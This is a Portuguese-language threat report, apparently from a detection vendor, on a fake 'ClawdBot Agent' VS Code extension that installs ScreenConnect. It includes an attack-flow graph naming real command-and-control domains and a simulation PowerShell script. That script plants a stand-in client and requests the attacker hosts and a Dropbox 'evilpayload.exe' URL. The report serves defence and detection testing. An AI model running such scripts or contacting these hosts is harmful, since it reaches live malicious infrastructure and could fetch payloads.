SOC Prime Bias: Crítico

28 Jan 2026 12:58

Extensão Fake ClowdBot do VS Code Distribui ScreenConnect RAT

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
Extensão Fake ClowdBot do VS Code Distribui ScreenConnect RAT
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Uma extensão maliciosa do Visual Studio Code chamada ClawdBot Agent finge ser um assistente de codificação com IA, mas instala secretamente uma ferramenta de acesso remoto ScreenConnect armada no Windows ao iniciar o VS Code. Na inicialização, a extensão busca um arquivo de configuração de um domínio controlado por atacantes, depois baixa e executa um binário falso do VS Code (Code.exe) junto com DLLs de suporte. Como caminho de entrega secundário, pode obter o mesmo instalador de um link do Dropbox para manter a disponibilidade da carga útil. A campanha abusa de uma ferramenta confiável de suporte de TI para se integrar à atividade legítima de administração remota e reduzir a suspeita.

Investigação

Pesquisadores adquiriram o package.json da extensão, confirmaram sua ativação na inicialização do VS Code, e recuperaram a configuração remota em JSON listando os componentes maliciosos. A análise binária mostrou módulos ScreenConnect assinados que sinalizavam para um servidor de retransmissão personalizado. Lógica de contingência adicional foi encontrada em JavaScript e PowerShell, referenciando domínios secundários e cargas hospedadas no Dropbox. Artefatos no disco foram observados na pasta %TEMP%Lightshot.

Mitigação

Remova a extensão ClawdBot Agent do VS Code e exclua os arquivos restantes do local de instalação do ScreenConnect e do diretório %TEMP%Lightshot. Desinstale o serviço cliente ScreenConnect e bloqueie a conectividade de saída para os domínios de retransmissão e IPs identificados. Gire quaisquer chaves de API ou segredos que possam ter sido inseridos na extensão.

Resposta

Detecte a extensão maliciosa monitorando as instalações de extensões do VS Code e a criação do diretório Lightshot. Alerta na execução de binários Code.exe ou ScreenConnect de caminhos não padrão e em conexões de saída para meeting.bulletmailer.net:8041 ou o endereço IP associado. Realize forense no host para confirmar a remoção de persistência e identificar quaisquer cargas adicionais.

graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ffe599 classDef server fill:#c2f0c2 classDef process fill:#d9d9d9 %% Technique nodes tech_software_ext[“<b>Técnica</b> – <b>T1176 Extensões de software</b><br/>Adversários abusam de extensões para executar código, manter persistência ou exfiltrar dados.”] class tech_software_ext action tech_ide_ext[“<b>Técnica</b> – <b>T1176.002 Extensões IDE</b><br/>Uso de extensões IDE para execução de código malicioso.”] class tech_ide_ext action tech_user_exec[“<b>Técnica</b> – <b>T1204.002 Execução pelo usuário: arquivo malicioso</b><br/>A vítima executa um arquivo malicioso.”] class tech_user_exec action tech_app_layer[“<b>Técnica</b> – <b>T1071.001 Protocolo de camada de aplicação: Web</b><br/>Uso de HTTP/HTTPS para comunicação C2.”] class tech_app_layer action tech_fallback[“<b>Técnica</b> – <b>T1008 Canais de fallback</b><br/>Caminhos alternativos de comunicação.”] class tech_fallback action tech_powershell[“<b>Técnica</b> – <b>T1059.001 PowerShell</b><br/>Execução de comandos e download de arquivos.”] class tech_powershell action tech_rat[“<b>Técnica</b> – <b>T1219 Ferramentas de acesso remoto</b><br/>Controle remoto de sistemas comprometidos.”] class tech_rat action tech_dll_inject[“<b>Técnica</b> – <b>T1055.001 Injeção de DLL</b><br/>Injeção de DLL maliciosa em processo ativo.”] class tech_dll_inject action tech_appcert[“<b>Técnica</b> – <b>T1546.009 AppCert DLL</b><br/>Carregamento lateral via AppCert.”] class tech_appcert action tech_appinit[“<b>Técnica</b> – <b>T1546.010 AppInit DLL</b><br/>Carregamento de DLL na inicialização do sistema.”] class tech_appinit action %% Artifact nodes ext_clawdbot[“<b>Ferramenta</b> – Extensão VS Code ClawdBot Agent”] class ext_clawdbot tool activation_event[“<b>Arquivo</b> – activationEvents \”onStartupFinished\””] class activation_event file init_core[“<b>Ação</b> – initCore() na inicialização do VS Code”] class init_core action c2_domain[“<b>Servidor</b> – clawdbot.getintwopc.site”] class c2_domain server fallback_urls[“<b>Servidor</b> – URLs de fallback codificadas”] class fallback_urls server ps_script[“<b>Script</b> – Script PowerShell”] class ps_script file lightshot[“<b>Arquivo</b> – Lightshot.exe / Lightshot.dll”] class lightshot file darkgpt[“<b>Servidor</b> – darkgptprivate.com”] class darkgpt server code_exe[“<b>Malware</b> – Code.exe”] class code_exe file relay_server[“<b>Servidor</b> – meeting.bulletmailer.net:8041”] class relay_server server dwrite_dll[“<b>Arquivo</b> – DWrite.dll malicioso”] class dwrite_dll file screenconnect_proc[“<b>Processo</b> – ScreenConnect”] class screenconnect_proc process %% Connections ext_clawdbot –>|usa| tech_software_ext ext_clawdbot –>|usa| tech_ide_ext ext_clawdbot –>|define| activation_event activation_event –>|aciona| init_core init_core –>|obtém configuração de| c2_domain c2_domain –>|fornece| tech_app_layer init_core –>|usa fallback| fallback_urls fallback_urls –>|fornece| ps_script ps_script –>|executa| tech_powershell tech_powershell –>|baixa| lightshot lightshot –>|executado como| tech_user_exec lightshot –>|entregue como| code_exe code_exe –>|usa| tech_rat code_exe –>|contata| relay_server relay_server –>|habilita| tech_app_layer code_exe –>|carrega| dwrite_dll dwrite_dll –>|registrada para| tech_appcert dwrite_dll –>|registrada para| tech_appinit dwrite_dll –>|injetada via| tech_dll_inject tech_dll_inject –>|alvo| screenconnect_proc screenconnect_proc –>|executa| dwrite_dll tech_fallback –>|cobre| fallback_urls

Fluxo de Ataque

Execução de Simulação

Pré-requisito: O Verificador de Pré-voo de Telemetria & Baseline deve ter passado.

Narrativa e Comandos do Ataque

  1. O atacante publica uma extensão trojanizada do VS Code intitulada “Clawdbot Helper”.
  2. A vítima instala a extensão via o Mercado do VS Code, que executa um script de pós-instalação que silenciosamente insere o cliente ScreenConnect (ScreenConnect.Client.exe) em %APPDATA%ScreenConnect.
  3. Imediatamente após a instalação, o cliente inicia três conexões TCP de saída para os domínios C2 controlados pelo atacante para recuperar cargas adicionais e relatar o status do host.
  4. As conexões de saída geram registros de Evento ID 3 do Sysmon que correspondem à lista dest_ip , satisfazendo a regra de detecção.

Script de Teste de Regressão

# --------------------------------------------------------------
# Rotina de pós-instalação simulada de extensão VS Code maliciosa
# --------------------------------------------------------------

# Passo 1 – Inserir um binário ScreenConnect fictício (simulado)
$payloadPath = "$env:APPDATAScreenConnectScreenConnect.Client.exe"
New-Item -ItemType Directory -Path (Split-Path $payloadPath) -Force | Out-Null
# Criar um binário de espaço reservado inofensivo (por exemplo, uma cópia do notepad.exe)
Copy-Item -Path "$env:SystemRootSystem32notepad.exe" -Destination $payloadPath -Force

# Passo 2 – Iniciar conexões de saída para cada host C2
$c2Hosts = @(
    "http://meeting.bulletmailer.net/collect",
    "http://clawdbot.getintwopc.site/payload",
    "https://www.dropbox.com/s/evilpayload.exe"
)

foreach ($url in $c2Hosts) {
    try {
        # Solicitação web silenciosa; -UseBasicParsing evita prompts de UI
        Invoke-WebRequest -Uri $url -Method GET -UseBasicParsing -TimeoutSec 5 | Out-Null
        Write-Host "Contacted $url"
    } catch {
        Write-Host "Failed to contact $url (expected in a sandbox)."
    }
}

# Fim do script – neste ponto o Sysmon deve ter registrado três
# eventos de NetworkConnect cujos valores de DestinationIp correspondem à regra.

Comandos de Limpeza

# --------------------------------------------------------------
# Remover artefatos simulados
# --------------------------------------------------------------

# Parar quaisquer trabalhos do PowerShell remanescentes (nenhum neste script simples)
Get-Job | Remove-Job -Force

# Excluir a pasta do cliente ScreenConnect fictício
Remove-Item -Path "$env:APPDATAScreenConnect" -Recurse -Force

# Opcionalmente limpar o buffer do Sysmon (requer admin)
# sysmon -c